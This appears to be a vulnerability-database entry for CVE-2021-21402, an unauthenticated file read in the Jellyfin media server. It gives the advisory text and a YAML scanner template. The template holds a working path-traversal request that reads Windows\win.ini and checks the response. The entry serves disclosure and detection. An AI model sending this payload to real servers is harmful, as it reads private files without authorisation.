CVE-2021-21402: Jellyfin prior to 10.7.0 Unauthenticated Arbitrary File Read

日期: 2025-09-01 | 影响软件: 未知 | POC: 已公开

漏洞描述

Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.

PoC代码[已公开]

id: CVE-2021-21402

info:
  name: Jellyfin prior to 10.7.0 Unauthenticated Arbitrary File Read
  author: Print1n
  severity: medium
  description: |-
    Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.
  reference:
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-9v4h-4997-2w44
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21402
  tags: cve,cve2021,jellyfin,fileread,unauth
  created: 2021/04/20

rules:
  r0:
    request:
      method: GET
      path: /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
    expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support")
expression: r0()